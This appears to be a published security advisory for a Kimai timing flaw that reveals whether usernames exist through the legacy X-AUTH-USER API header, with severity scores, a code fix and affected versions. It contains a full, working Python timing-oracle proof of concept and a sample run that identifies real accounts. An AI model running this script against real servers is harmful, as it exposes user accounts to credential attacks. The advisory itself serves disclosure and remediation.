GHSA-jrc6-fmhw-fpq2 CVE-2026-80199
Kimai: Username enumeration via timing on X-AUTH-USER
- Severity
- 6.3 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 23.71% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-208 Observable Timing Discrepancy
- Fix
2.54.0- Upgrade kimai/kimai to this version or later
Description
Details
src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.
The /api/* firewall has no login_throttling configured, so the probe is unbounded.
The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.
Proof of concept
#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""
import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request
PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32
def probe(url, user, ctx):
req = urllib.request.Request(
url + PROBE_PATH,
headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
)
t0 = time.perf_counter()
try:
urllib.request.urlopen(req, context=ctx, timeout=10).read()
except urllib.error.HTTPError as e:
e.read()
return (time.perf_counter() - t0) * 1000.0
def median_ms(url, user, samples, ctx):
return statistics.median(probe(url, user, ctx) for _ in range(samples))
def load_candidates(path):
with open(path) as f:
return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]
def main():
ap = argparse.ArgumentParser(description=__doc__.strip())
ap.add_argument("-u", "--url", required=True,
help="base URL, e.g. https://kimai.example")
ap.add_argument("-l", "--list", required=True, metavar="FILE",
help="one candidate username per line")
ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
help="median delta over baseline that flags a real user")
ap.add_argument("-n", "--samples", type=int, default=15)
ap.add_argument("--verify-tls", action="store_true")
args = ap.parse_args()
url = args.url.rstrip("/")
ctx = None if args.verify_tls else ssl._create_unverified_context()
candidates = load_candidates(args.list)
baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
print(f"baseline: {baseline:.1f} ms", file=sys.stderr)
width = max(len(u) for u in candidates)
print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict")
print("-" * (width + 30))
for user in candidates:
m = median_ms(url, user, args.samples, ctx)
delta = m - baseline
verdict = "REAL" if delta > args.threshold else "-"
print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}")
if __name__ == "__main__":
main()
Usage:
$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)
username median delta verdict
----------------------------------------------------------
user1@example.com 64.2ms +26.5ms REAL
user2@example.com 72.4ms +34.7ms REAL
user3@example.com 70.0ms +32.3ms REAL
tester.nonexistent@example.com 37.2ms -0.5ms -
admin 63.6ms +25.9ms REAL
administrator 38.2ms +0.4ms -
root 37.3ms -0.4ms -
test 33.6ms -4.1ms -
demo 38.2ms +0.5ms -
kimai 37.0ms -0.7ms -
nonexistent_user_aaa 38.1ms +0.4ms -
nonexistent_user_bbb 37.5ms -0.2ms -
nonexistent_user_ccc 38.4ms +0.7ms -
In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.
Fix
In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:
private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';
try {
$user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
$this->passwordHasherFactory
->getPasswordHasher(User::class)
->verify(self::DUMMY_HASH, $credentials['password']);
throw $e;
}
The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password_hash('dummy', PASSWORD_ARGON2ID) and pin it as a constant.
Relevance
The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out. 
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| kimai/kimai | < 2.54.0 |
2.54.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
kimai/kimai Packagist → 2.54.0
- composer
composer require kimai/kimai:^2.54.0
Severity breakdown
CVSS 4.0 6.3
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- High
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 3.7
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-208: Observable Timing Discrepancy
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rw46-qg69-vg6h Kimai: ExportTemplate CRUD Missing Authorization Check Allows Unauthorized TEAMLEAD Access | Medium | Also affects kimai/kimai |
| GHSA-v8hx-4vx8-wc96 Kimai: Pre-2FA KIMAI_SESSION cookie grants full authenticated REST API access, bypassing TOTP | High | Also affects kimai/kimai |
| GHSA-2xgg-2x8h-8xw4 Kimai: Improper Authorization in Project, Customer, and Activity Rate Edit Endpoints Allows Cross-Scope Rate Manipulation | Medium | Also affects kimai/kimai |
| GHSA-xv4r-4885-gwpg Kimai has Improper Authorization in Team Member and Team Activity Assignment APIs Which Allows Expansion of Team Scope Beyond Authorized Visibility | Medium | Also affects kimai/kimai |
| GHSA-jr9p-4h4j-6c58 Kimai: Default APP_SECRET in Docker Image Enables Cookie Forgery and Account Takeover | Critical | Also affects kimai/kimai |
| GHSA-r8vr-m544-qh4h Kimai: Login CSRF in the Timesheet Stop and Restart API Endpoints Allows Unauthorized State Changes | Medium | Also affects kimai/kimai |
| GHSA-c6w6-57jj-62vh Improper Authorization in Kimai Timesheet Restart and Duplicate Allows New Timesheets After Project Access Revocation | Medium | Also affects kimai/kimai |
| GHSA-3q6q-26vg-v97x Kimai: Improper Authorization Through Activity Creation with Preset Project Allows Creation Under Unauthorized Projects | Medium | Also affects kimai/kimai |
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